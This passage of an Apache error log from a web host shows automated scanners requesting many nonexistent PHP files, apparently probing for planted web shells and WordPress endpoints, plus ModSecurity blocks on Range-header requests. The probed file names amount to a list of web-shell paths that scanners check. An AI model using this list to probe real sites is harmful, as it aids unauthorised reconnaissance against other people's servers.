13.71.30.28:48644] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://www.yahoo.com/ [Sun Dec 14 21:19:50.748556 2025] [:error] [pid 14615:tid 14631] [client 13.71.30.28:48646] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.google.de/ [Sun Dec 14 21:19:50.960086 2025] [:error] [pid 14615:tid 14624] [client 13.71.30.28:48648] File does not exist: /home/coldtecp/public_html/k.php, referer: https://duckduckgo.com/ [Sun Dec 14 21:19:52.881236 2025] [:error] [pid 14196:tid 14230] [client 13.71.30.28:48666] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://www.google.co.uk/ [Sun Dec 14 21:19:53.092477 2025] [:error] [pid 14194:tid 14255] [client 13.71.30.28:48668] File does not exist: /home/coldtecp/public_html/404.php, referer: https://www.google.com/ [Sun Dec 14 21:19:53.304403 2025] [:error] [pid 14194:tid 14259] [client 13.71.30.28:48670] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.google.de/ [Sun Dec 14 21:19:53.516158 2025] [:error] [pid 14615:tid 14639] [client 13.71.30.28:48672] File does not exist: /home/coldtecp/public_html/gg.php, referer: https://www.google.co.uk/ [Sun Dec 14 21:19:53.727926 2025] [:error] [pid 14615:tid 14640] [client 13.71.30.28:48674] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://www.yahoo.com/ [Sun Dec 14 21:19:53.939454 2025] [:error] [pid 14615:tid 14617] [client 13.71.30.28:48676] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.yahoo.com/ [Sun Dec 14 21:19:54.150865 2025] [:error] [pid 14615:tid 14641] [client 13.71.30.28:48678] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://www.yahoo.com/ [Mon Dec 15 04:26:59.553196 2025] [:error] [pid 23675:tid 23686] [client 136.112.45.195:42186] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Dec 15 04:33:55.375839 2025] [:error] [pid 23212:tid 23247] [client 4.197.248.250:43106] File does not exist: /home/coldtecp/public_html/404.php, referer: https://www.bing.com/ [Mon Dec 15 04:33:55.586988 2025] [:error] [pid 23212:tid 23252] [client 4.197.248.250:43108] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.yahoo.com/ [Mon Dec 15 04:33:55.798023 2025] [:error] [pid 23212:tid 23264] [client 4.197.248.250:43110] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.google.de/ [Mon Dec 15 04:33:56.009102 2025] [:error] [pid 23212:tid 23249] [client 4.197.248.250:43116] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.google.com/ [Mon Dec 15 04:33:56.220770 2025] [:error] [pid 23213:tid 23239] [client 4.197.248.250:43118] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.google.com/ [Mon Dec 15 04:33:56.431771 2025] [:error] [pid 23675:tid 23678] [client 4.197.248.250:43120] File does not exist: /home/coldtecp/public_html/adminfuns.php, referer: https://www.google.de/ [Mon Dec 15 04:33:56.651104 2025] [:error] [pid 23675:tid 23691] [client 4.197.248.250:43122] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://duckduckgo.com/ [Mon Dec 15 04:33:56.862712 2025] [:error] [pid 23211:tid 23287] [client 4.197.248.250:43124] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://duckduckgo.com/ [Mon Dec 15 04:33:57.073916 2025] [:error] [pid 23213:tid 23225] [client 4.197.248.250:43126] File does not exist: /home/coldtecp/public_html/alfa.php, referer: https://www.google.de/ [Mon Dec 15 04:33:57.731007 2025] [:error] [pid 23213:tid 23223] [client 4.197.248.250:43132] File does not exist: /home/coldtecp/public_html/av.php, referer: https://duckduckgo.com/ [Mon Dec 15 04:33:57.941988 2025] [:error] [pid 23675:tid 23680] [client 4.197.248.250:43134] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.yahoo.com/ [Mon Dec 15 04:33:58.153060 2025] [:error] [pid 23675:tid 23682] [client 4.197.248.250:43136] File does not exist: /home/coldtecp/public_html/bolt.php, referer: https://www.bing.com/ [Mon Dec 15 04:33:58.364207 2025] [:error] [pid 23675:tid 23693] [client 4.197.248.250:43138] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.bing.com/ [Mon Dec 15 04:33:58.575411 2025] [:error] [pid 23213:tid 23235] [client 4.197.248.250:43140] File does not exist: /home/coldtecp/public_html/atomlib.php, referer: https://www.google.fr/ [Mon Dec 15 04:33:59.207986 2025] [:error] [pid 23675:tid 23677] [client 4.197.248.250:43150] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://duckduckgo.com/ [Mon Dec 15 04:33:59.439615 2025] [:error] [pid 23212:tid 23255] [client 4.197.248.250:43152] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://duckduckgo.com/ [Mon Dec 15 04:33:59.650481 2025] [:error] [pid 23213:tid 23240] [client 4.197.248.250:43154] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://www.google.de/ [Mon Dec 15 04:33:59.861971 2025] [:error] [pid 23211:tid 23279] [client 4.197.248.250:43156] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.google.com/ [Mon Dec 15 04:34:00.073076 2025] [:error] [pid 23213:tid 23221] [client 4.197.248.250:43160] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://duckduckgo.com/ [Mon Dec 15 04:34:00.289836 2025] [:error] [pid 23213:tid 23233] [client 4.197.248.250:43164] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.google.com/ [Mon Dec 15 04:34:00.501331 2025] [:error] [pid 23213:tid 23238] [client 4.197.248.250:43166] File does not exist: /home/coldtecp/public_html/item.php, referer: https://www.yahoo.com/ [Mon Dec 15 04:34:00.924231 2025] [:error] [pid 23211:tid 23281] [client 4.197.248.250:43170] File does not exist: /home/coldtecp/public_html/gg.php, referer: https://www.bing.com/ [Mon Dec 15 04:34:01.135556 2025] [:error] [pid 23212:tid 23260] [client 4.197.248.250:43172] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.google.com/ [Mon Dec 15 04:34:01.783180 2025] [:error] [pid 23675:tid 23695] [client 4.197.248.250:43182] File does not exist: /home/coldtecp/public_html/info.php, referer: https://www.yahoo.com/ [Mon Dec 15 04:34:01.999433 2025] [:error] [pid 23675:tid 23696] [client 4.197.248.250:43184] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.yahoo.com/ [Mon Dec 15 04:34:02.210787 2025] [:error] [pid 23675:tid 23686] [client 4.197.248.250:43186] File does not exist: /home/coldtecp/public_html/k.php, referer: https://www.google.com/ [Mon Dec 15 04:34:02.422074 2025] [:error] [pid 23211:tid 23284] [client 4.197.248.250:43188] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://www.google.com/ [Mon Dec 15 04:34:02.844191 2025] [:error] [pid 23211:tid 23280] [client 4.197.248.250:43192] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://www.google.com/ [Mon Dec 15 04:34:03.266506 2025] [:error] [pid 23211:tid 23282] [client 4.197.248.250:43196] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.bing.com/ [Mon Dec 15 04:34:03.477975 2025] [:error] [pid 23211:tid 23277] [client 4.197.248.250:43198] File does not exist: /home/coldtecp/public_html/dropdown.php, referer: https://duckduckgo.com/ [Mon Dec 15 04:34:03.689313 2025] [:error] [pid 23212:tid 23262] [client 4.197.248.250:43200] File does not exist: /home/coldtecp/public_html/cong.php, referer: https://www.google.fr/ [Mon Dec 15 04:34:04.323297 2025] [:error] [pid 23675:tid 23682] [client 4.197.248.250:43210] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.google.co.uk/ [Mon Dec 15 04:34:04.534635 2025] [:error] [pid 23211:tid 23283] [client 4.197.248.250:43212] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://www.google.de/ [Mon Dec 15 04:34:07.927419 2025] [:error] [pid 23675:tid 23690] [client 4.197.248.250:43252] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.google.co.uk/ [Mon Dec 15 10:45:07.449187 2025] [:error] [pid 20589:tid 20662] [client 34.48.150.8:32920] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Dec 15 14:36:03.993764 2025] [:error] [pid 31690:tid 31714] [client 159.223.43.73:36952] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Dec 15 15:58:57.050994 2025] [:error] [pid 31585:tid 31628] [client 20.214.242.147:48640] File does not exist: /home/coldtecp/public_html/404.php, referer: https://www.bing.com/ [Mon Dec 15 15:58:57.244565 2025] [:error] [pid 31585:tid 31630] [client 20.214.242.147:48642] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://duckduckgo.com/ [Mon Dec 15 15:58:57.438441 2025] [:error] [pid 31585:tid 31632] [client 20.214.242.147:48644] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.yahoo.com/ [Mon Dec 15 15:58:57.632444 2025] [:error] [pid 31585:tid 31617] [client 20.214.242.147:48646] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.google.fr/ [Mon Dec 15 15:58:57.831304 2025] [:error] [pid 31585:tid 31662] [client 20.214.242.147:48648] File does not exist: /home/coldtecp/public_html/adminfuns.php, referer: https://www.yahoo.com/ [Mon Dec 15 15:58:58.029484 2025] [:error] [pid 31585:tid 31634] [client 20.214.242.147:48650] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.yahoo.com/ [Mon Dec 15 15:58:58.223289 2025] [:error] [pid 31585:tid 31623] [client 20.214.242.147:48652] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.yahoo.com/ [Mon Dec 15 15:58:58.417009 2025] [:error] [pid 31585:tid 31656] [client 20.214.242.147:48654] File does not exist: /home/coldtecp/public_html/alfa.php, referer: https://duckduckgo.com/ [Mon Dec 15 15:58:59.000013 2025] [:error] [pid 31585:tid 31654] [client 20.214.242.147:48660] File does not exist: /home/coldtecp/public_html/av.php, referer: https://www.google.de/ [Mon Dec 15 15:58:59.194353 2025] [:error] [pid 31584:tid 31655] [client 20.214.242.147:48664] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.google.com/ [Mon Dec 15 15:58:59.388259 2025] [:error] [pid 31690:tid 31694] [client 20.214.242.147:48668] File does not exist: /home/coldtecp/public_html/bolt.php, referer: https://www.bing.com/ [Mon Dec 15 15:58:59.581908 2025] [:error] [pid 31690:tid 31702] [client 20.214.242.147:48670] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.google.fr/ [Mon Dec 15 15:59:00.165219 2025] [:error] [pid 31583:tid 31601] [client 20.214.242.147:48676] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.google.com/ [Mon Dec 15 15:59:00.371490 2025] [:error] [pid 31690:tid 31699] [client 20.214.242.147:48678] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.google.com/ [Mon Dec 15 15:59:00.565832 2025] [:error] [pid 31585:tid 31651] [client 20.214.242.147:48680] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://www.google.com/ [Mon Dec 15 15:59:00.759814 2025] [:error] [pid 31585:tid 31664] [client 20.214.242.147:48682] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.yahoo.com/ [Mon Dec 15 15:59:00.953434 2025] [:error] [pid 31585:tid 31643] [client 20.214.242.147:48684] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.google.co.uk/ [Mon Dec 15 15:59:01.341027 2025] [:error] [pid 31690:tid 31716] [client 20.214.242.147:48688] File does not exist: /home/coldtecp/public_html/gg.php, referer: https://www.bing.com/ [Mon Dec 15 15:59:01.536561 2025] [:error] [pid 31690:tid 31703] [client 20.214.242.147:48690] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.google.co.uk/ [Mon Dec 15 15:59:02.120892 2025] [:error] [pid 31690:tid 31705] [client 20.214.242.147:48700] File does not exist: /home/coldtecp/public_html/info.php, referer: https://duckduckgo.com/ [Mon Dec 15 15:59:02.315246 2025] [:error] [pid 31583:tid 31600] [client 20.214.242.147:48702] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://duckduckgo.com/ [Mon Dec 15 15:59:02.509689 2025] [:error] [pid 31690:tid 31707] [client 20.214.242.147:48704] File does not exist: /home/coldtecp/public_html/k.php, referer: https://www.yahoo.com/ [Mon Dec 15 15:59:02.703468 2025] [:error] [pid 31583:tid 31604] [client 20.214.242.147:48706] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://duckduckgo.com/ [Mon Dec 15 15:59:03.091773 2025] [:error] [pid 31584:tid 31619] [client 20.214.242.147:48710] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://www.google.com/ [Mon Dec 15 15:59:03.673531 2025] [:error] [pid 31584:tid 31622] [client 20.214.242.147:48716] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.google.fr/ [Mon Dec 15 15:59:04.255093 2025] [:error] [pid 31585:tid 31660] [client 20.214.242.147:48722] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.yahoo.com/ [Mon Dec 15 15:59:04.455221 2025] [:error] [pid 31690:tid 31701] [client 20.214.242.147:48728] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://www.bing.com/ [Mon Dec 15 15:59:07.591905 2025] [:error] [pid 31690:tid 31695] [client 20.214.242.147:48766] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.google.de/ [Mon Dec 15 15:59:11.175745 2025] [:error] [pid 31585:tid 31639] [client 20.214.242.147:48816] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://duckduckgo.com/ [Mon Dec 15 15:59:18.232332 2025] [:error] [pid 31585:tid 31632] [client 20.214.242.147:48904] File does not exist: /home/coldtecp/public_html/wp-login.php, referer: https://www.google.com/ [Mon Dec 15 15:59:18.425976 2025] [:error] [pid 31690:tid 31713] [client 20.214.242.147:48906] File does not exist: /home/coldtecp/public_html/wp-signin.php, referer: https://www.google.com/ [Mon Dec 15 15:59:18.620020 2025] [:error] [pid 31583:tid 31593] [client 20.214.242.147:48908] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://www.google.fr/ [Mon Dec 15 15:59:18.814065 2025] [:error] [pid 31584:tid 31620] [client 20.214.242.147:48910] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://www.google.fr/ [Mon Dec 15 15:59:19.007981 2025] [:error] [pid 31690:tid 31716] [client 20.214.242.147:48912] File does not exist: /home/coldtecp/public_html/xmlrpc.php, referer: https://www.google.de/ [Mon Dec 15 15:59:19.201908 2025] [:error] [pid 31584:tid 31633] [client 20.214.242.147:48914] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://www.google.co.uk/ [Mon Dec 15 16:19:02.899750 2025] [:error] [pid 31690:tid 31700] [client 20.196.91.230:51906] File does not exist: /home/coldtecp/public_html/404.php, referer: https://www.google.fr/ [Mon Dec 15 16:19:03.105064 2025] [:error] [pid 31584:tid 31620] [client 20.196.91.230:51908] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.google.de/ [Mon Dec 15 16:19:03.302920 2025] [:error] [pid 31584:tid 31624] [client 20.196.91.230:51910] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.google.de/ [Mon Dec 15 16:19:03.500947 2025] [:error] [pid 31584:tid 31625] [client 20.196.91.230:51912] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://duckduckgo.com/ [Mon Dec 15 16:19:03.698545 2025] [:error] [pid 31584:tid 31650] [client 20.196.91.230:51916] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.google.de/ [Mon Dec 15 16:19:03.896536 2025] [:error] [pid 31690:tid 31707] [client 20.196.91.230:51920] File does not exist: /home/coldtecp/public_html/adminfuns.php, referer: https://www.google.com/ [Mon Dec 15 16:19:04.094209 2025] [:error] [pid 31584:tid 31638] [client 20.196.91.230:51922] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.bing.com/ [Mon Dec 15 16:19:04.293069 2025] [:error] [pid 31583:tid 31592] [client 20.196.91.230:51926] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.google.com/ [Mon Dec 15 16:19:04.490821 2025] [:error] [pid 31584:tid 31644] [client 20.196.91.230:51930] File does not exist: /home/coldtecp/public_html/alfa.php, referer: https://www.yahoo.com/ [Mon Dec 15 16:19:05.085378 2025] [:error] [pid 31584:tid 31637] [client 20.196.91.230:51936] File does not exist: /home/coldtecp/public_html/av.php, referer: https://duckduckgo.com/ [Mon Dec 15 16:19:05.283493 2025] [:error] [pid 31690:tid 31697] [client 20.196.91.230:51938] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.yahoo.com/ [Mon Dec 15 16:19:05.481807 2025] [:error] [pid 31690:tid 31695] [client 20.196.91.230:51940] File does not exist: /home/coldtecp/public_html/bolt.php, referer: https://www.yahoo.com/ [Mon Dec 15 16:19:05.679962 2025] [:error] [pid 31690:tid 31710] [client 20.196.91.230:51942] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://duckduckgo.com/ [Mon Dec 15 16:19:05.877976 2025] [:error] [pid 31690:tid 31708] [client 20.196.91.230:51944] File does not exist: /home/coldtecp/public_html/atomlib.php, referer: https://www.google.fr/ [Mon Dec 15 16:19:06.471995 2025] [:error] [pid 31690:tid 31693] [client 20.196.91.230:51950] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.bing.com/ [Mon Dec 15 16:19:06.672918 2025] [:error] [pid 31585:tid 31623] [client 20.196.91.230:51954] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.google.co.uk/ [Mon Dec 15 16:19:06.870987 2025] [:error] [pid 31690:tid 31713] [client 20.196.91.230:51958] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://duckduckgo.com/ [Mon Dec 15 16:19:07.068983 2025] [:error] [pid 31690:tid 31694] [client 20.196.91.230:51960] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.google.fr/ [Mon Dec 15 16:19:07.277044 2025] [:error] [pid 31690:tid 31716] [client 20.196.91.230:51962] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://duckduckgo.com/ [Mon Dec 15 16:19:07.474931 2025] [:error] [pid 31690:tid 31715] [client 20.196.91.230:51964] File does not exist: /home/coldtecp/public_html/file.php, referer: https://duckduckgo.com/ [Mon Dec 15 16:19:07.673043 2025] [:error] [pid 31585:tid 31660] [client 20.196.91.230:51966] File does not exist: /home/coldtecp/public_html/item.php, referer: https://www.google.co.uk/ [Mon Dec 15 16:19:08.069069 2025] [:error] [pid 31585:tid 31639] [client 20.196.91.230:51970] File does not exist: /home/coldtecp/public_html/gg.php, referer: https://www.google.de/ [Mon Dec 15 16:19:08.267152 2025] [:error] [pid 31583:tid 31609] [client 20.196.91.230:51972] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.google.co.uk/ [Mon Dec 15 16:19:08.861106 2025] [:error] [pid 31583:tid 31590] [client 20.196.91.230:51978] File does not exist: /home/coldtecp/public_html/info.php, referer: https://www.bing.com/ [Mon Dec 15 16:19:09.059170 2025] [:error] [pid 31584:tid 31659] [client 20.196.91.230:51984] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.google.de/ [Mon Dec 15 16:19:09.257178 2025] [:error] [pid 31583:tid 31608] [client 20.196.91.230:51986] File does not exist: /home/coldtecp/public_html/k.php, referer: https://www.yahoo.com/ [Mon Dec 15 16:19:09.455156 2025] [:error] [pid 31690:tid 31696] [client 20.196.91.230:51988] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://www.google.com/ [Mon Dec 15 16:19:09.850977 2025] [:error] [pid 31690:tid 31706] [client 20.196.91.230:51992] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://www.yahoo.com/ [Mon Dec 15 16:19:10.246474 2025] [:error] [pid 31690:tid 31698] [client 20.196.91.230:51996] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.yahoo.com/ [Mon Dec 15 16:19:10.444837 2025] [:error] [pid 31690:tid 31705] [client 20.196.91.230:51998] File does not exist: /home/coldtecp/public_html/dropdown.php, referer: https://www.bing.com/ [Mon Dec 15 16:19:10.642741 2025] [:error] [pid 31690:tid 31692] [client 20.196.91.230:52000] File does not exist: /home/coldtecp/public_html/cong.php, referer: https://duckduckgo.com/ [Mon Dec 15 16:19:11.238711 2025] [:error] [pid 31583:tid 31606] [client 20.196.91.230:52006] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://duckduckgo.com/ [Mon Dec 15 16:19:11.437037 2025] [:error] [pid 31583:tid 31587] [client 20.196.91.230:52012] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://www.yahoo.com/ [Mon Dec 15 16:19:14.616091 2025] [:error] [pid 31690:tid 31710] [client 20.196.91.230:52050] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.google.com/ [Mon Dec 15 18:51:50.662645 2025] [:error] [pid 31584:tid 31629] [client 173.252.95.28:43928] [client 173.252.95.28] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aUCfFmO43DhgWr2hchFTUgAAAEg"] [Mon Dec 15 23:48:57.065580 2025] [:error] [pid 27076:tid 27098] [client 4.241.241.191:48846] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php, referer: https://www.bing.com/ [Mon Dec 15 23:48:57.237676 2025] [:error] [pid 31583:tid 31602] [client 4.241.241.191:48848] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-login.php, referer: https://www.google.com/ [Mon Dec 15 23:48:57.407267 2025] [:error] [pid 31583:tid 31591] [client 4.241.241.191:48850] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php, referer: https://www.google.de/ [Mon Dec 15 23:48:57.577562 2025] [:error] [pid 31583:tid 31610] [client 4.241.241.191:48852] File does not exist: /home/coldtecp/public_html/1.php, referer: https://duckduckgo.com/ [Mon Dec 15 23:48:57.746982 2025] [:error] [pid 31583:tid 31592] [client 4.241.241.191:48854] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.bing.com/ [Mon Dec 15 23:48:57.916033 2025] [:error] [pid 31690:tid 31695] [client 4.241.241.191:48856] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.google.fr/ [Mon Dec 15 23:48:58.085123 2025] [:error] [pid 31583:tid 31604] [client 4.241.241.191:48858] File does not exist: /home/coldtecp/public_html/about.php, referer: https://duckduckgo.com/ [Mon Dec 15 23:48:58.424760 2025] [:error] [pid 31583:tid 31600] [client 4.241.241.191:48862] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.google.de/ [Mon Dec 15 23:48:58.593937 2025] [:error] [pid 31583:tid 31601] [client 4.241.241.191:48864] File does not exist: /home/coldtecp/public_html/adminfuns.php, referer: https://www.yahoo.com/ [Mon Dec 15 23:48:58.763375 2025] [:error] [pid 31583:tid 31603] [client 4.241.241.191:48866] File does not exist: /home/coldtecp/public_html/alfa.php, referer: https://duckduckgo.com/ [Mon Dec 15 23:48:58.932374 2025] [:error] [pid 31584:tid 31624] [client 4.241.241.191:48868] File does not exist: /home/coldtecp/public_html/api.php, referer: https://www.google.de/ [Mon Dec 15 23:48:59.271066 2025] [:error] [pid 27076:tid 27090] [client 4.241.241.191:48872] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.google.co.uk/ [Mon Dec 15 23:48:59.609586 2025] [:error] [pid 27076:tid 27082] [client 4.241.241.191:48876] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.yahoo.com/ [Mon Dec 15 23:48:59.778825 2025] [:error] [pid 27076:tid 27094] [client 4.241.241.191:48878] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://www.google.de/ [Mon Dec 15 23:48:59.948075 2025] [:error] [pid 27076:tid 27092] [client 4.241.241.191:48880] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.google.co.uk/ [Mon Dec 15 23:49:00.117558 2025] [:error] [pid 31585:tid 31651] [client 4.241.241.191:48882] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.google.de/ [Mon Dec 15 23:49:00.287303 2025] [:error] [pid 31585:tid 31623] [client 4.241.241.191:48884] File does not exist: /home/coldtecp/public_html/info.php, referer: https://duckduckgo.com/ [Mon Dec 15 23:49:00.456604 2025] [:error] [pid 31584:tid 31644] [client 4.241.241.191:48886] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.google.com/ [Mon Dec 15 23:49:00.625967 2025] [:error] [pid 31584:tid 31625] [client 4.241.241.191:48888] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://www.google.co.uk/ [Mon Dec 15 23:49:00.965507 2025] [:error] [pid 31583:tid 31595] [client 4.241.241.191:48892] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://www.google.co.uk/ [Mon Dec 15 23:49:01.135094 2025] [:error] [pid 31583:tid 31588] [client 4.241.241.191:48894] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://www.google.co.uk/ [Mon Dec 15 23:49:01.304579 2025] [:error] [pid 31583:tid 31605] [client 4.241.241.191:48896] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://www.google.com/ [Mon Dec 15 23:49:01.474001 2025] [:error] [pid 31584:tid 31640] [client 4.241.241.191:48898] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://duckduckgo.com/ [Mon Dec 15 23:49:01.643693 2025] [:error] [pid 31584:tid 31659] [client 4.241.241.191:48900] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.google.fr/ [Mon Dec 15 23:49:02.164747 2025] [:error] [pid 27076:tid 27087] [client 4.241.241.191:48908] File does not exist: /home/coldtecp/public_html/av.php, referer: https://www.google.com/ [Mon Dec 15 23:49:02.336100 2025] [:error] [pid 27076:tid 27080] [client 4.241.241.191:48912] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.yahoo.com/ [Mon Dec 15 23:49:02.675094 2025] [:error] [pid 31583:tid 31589] [client 4.241.241.191:48916] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.google.de/ [Mon Dec 15 23:49:03.013878 2025] [:error] [pid 27076:tid 27102] [client 4.241.241.191:48920] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://duckduckgo.com/ [Mon Dec 15 23:49:03.889857 2025] [:error] [pid 31585:tid 31664] [client 4.241.241.191:48926] File does not exist: /home/coldtecp/public_html/inputs.php, referer: https://www.google.fr/ [Mon Dec 15 23:49:04.059606 2025] [:error] [pid 31585:tid 31658] [client 4.241.241.191:48928] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://duckduckgo.com/ [Mon Dec 15 23:49:04.397302 2025] [:error] [pid 31585:tid 31656] [client 4.241.241.191:48932] File does not exist: /home/coldtecp/public_html/mini.php, referer: https://www.google.co.uk/ [Mon Dec 15 23:49:04.735944 2025] [:error] [pid 31690:tid 31699] [client 4.241.241.191:48936] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.google.fr/ [Mon Dec 15 23:49:04.905158 2025] [:error] [pid 27076:tid 27101] [client 4.241.241.191:48942] File does not exist: /home/coldtecp/public_html/options-reading.php, referer: https://www.google.de/ [Mon Dec 15 23:49:05.074725 2025] [:error] [pid 27076:tid 27088] [client 4.241.241.191:48944] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://www.google.com/ [Mon Dec 15 23:49:05.582508 2025] [:error] [pid 27076:tid 27091] [client 4.241.241.191:48950] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.google.com/ [Mon Dec 15 23:49:06.090901 2025] [:error] [pid 31585:tid 31660] [client 4.241.241.191:48956] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.google.fr/ [Mon Dec 15 23:49:07.292990 2025] [:error] [pid 27076:tid 27093] [client 4.241.241.191:48970] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://duckduckgo.com/ [Mon Dec 15 23:49:08.646631 2025] [:error] [pid 31690:tid 31713] [client 4.241.241.191:48990] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.google.com/ [Mon Dec 15 23:49:12.893196 2025] [:error] [pid 31583:tid 31599] [client 4.241.241.191:49048] File does not exist: /home/coldtecp/public_html/wp-editor.php, referer: https://www.google.de/ [Mon Dec 15 23:49:16.986633 2025] [:error] [pid 31585:tid 31630] [client 4.241.241.191:49096] File does not exist: /home/coldtecp/public_html/wp-themes.php, referer: https://www.google.de/ [Mon Dec 15 23:49:17.155649 2025] [:error] [pid 31585:tid 31664] [client 4.241.241.191:49098] File does not exist: /home/coldtecp/public_html/x.php, referer: https://duckduckgo.com/ [Mon Dec 15 23:49:17.325031 2025] [:error] [pid 31583:tid 31597] [client 4.241.241.191:49100] File does not exist: /home/coldtecp/public_html/yas.php, referer: https://www.google.fr/ [Tue Dec 16 08:39:39.763364 2025] [:error] [pid 20235:tid 20280] [client 35.197.126.64:32822] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Dec 16 10:59:19.941176 2025] [:error] [pid 20236:tid 20263] [client 185.193.157.161:53006] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Dec 16 17:26:15.546508 2025] [:error] [pid 11215:tid 11231] [client 173.252.70.27:38676] [client 173.252.70.27] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at 